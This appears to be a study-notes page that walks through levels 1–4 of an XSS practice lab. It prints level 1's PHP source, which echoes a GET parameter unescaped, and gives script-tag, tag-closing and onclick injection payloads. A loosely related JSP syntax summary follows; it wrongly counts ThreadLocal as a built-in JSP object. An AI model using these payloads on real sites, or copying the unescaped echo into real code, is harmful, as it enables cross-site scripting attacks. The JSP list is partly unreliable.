level one
观察页面源代码和关卡代码我们可以发现,第一关没有任何得过滤所以我们直接插入payload
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
name=<script>alert('XSS')</script>
level two
首先我们先尝试一下第一关的payload
我们可以发现在这里我们得<script>中的“<"">"被在转换了说明他被过滤掉了,我们可以加上">
提前闭合input标签实现绕过
"><script>alert('XSS');</script>
level three
同样还是输入上一关的代码,发现还是被转义了,所以我们可以尝试js事件来进行绕过
'onclick ='alert(1)
level four
老样子
我们发现这一关是“闭合,所以payload为”
"onclick="alert(1)
jsp语法
JSP(JavaServer Pages)是一种基于Java的服务器端编程技术,用于创建动态Web页面。它允许在HTML或XML页面中嵌入Java代码片段(scriptlets)、JSP动作(actions)、JSP指令(directives)、表达式(expressions)和声明(declarations)。以下是JSP的一些基本语法元素:
-
JSP指令:
<%@ page ... %>
:定义页面依赖属性,比如脚本语言、错误页面、缓存需求等。<%@ include file="relativeURL" %>
:包含其他文件。<%@ taglib uri="tagLibraryURI" prefix="prefix" %>
:引入标签库。
-
JSP脚本元素:
- 表达式 (
<%= expression %>
):将Java表达式的值插入到生成的页面中。 - 脚本片段 (
<% code %>
):插入任意有效的JSP和Java代码片段。 - 声明 (
<%! declaration %>
):在JSP页面中定义全局变量和方法。这些声明在JSP页面的servlet类的类定义部分。
- 表达式 (
-
JSP内置对象:
JSP提供了一些内置对象,可以在JSP页面的任何位置直接使用,无需声明。这些对象包括request
、response
、out
、session
、application
、config
、pageContext
、page
、exception
和ThreadLocal
。
4. JSP标准标签库 (JSTL):
JSTL提供了一套自定义标签来简化JSP页面的开发。它包括了核心标签库、格式化标签库、XML标签库、SQL标签库和函数标签库等。
5. JSP动作:
JSP动作用于在JSP页面中执行特定任务,比如转发请求、包含其他资源、使用JavaBean等。常见的JSP动作有<jsp:forward>
, <jsp:include>
, <jsp:useBean>
, <jsp:setProperty>
, <jsp:getProperty>
等。
6. 表达式语言 (EL):
表达式语言是一种简单的语言,用于访问存储在JavaBean、HttpServletRequest、HttpSession和ServletContext等对象中的数据。EL使得JSP页面更易于阅读和维护,因为它减少了在JSP页面中的Java代码量。
例如,使用EL访问请求参数:${param.username}
。
7. JSP注释:
* HTML注释:`<!-- comment -->`,这些注释在浏览器中可见。 | |
* JSP注释:`<%-- comment --%>`,这些注释在浏览器中不可见,且不会被发送到客户端。 |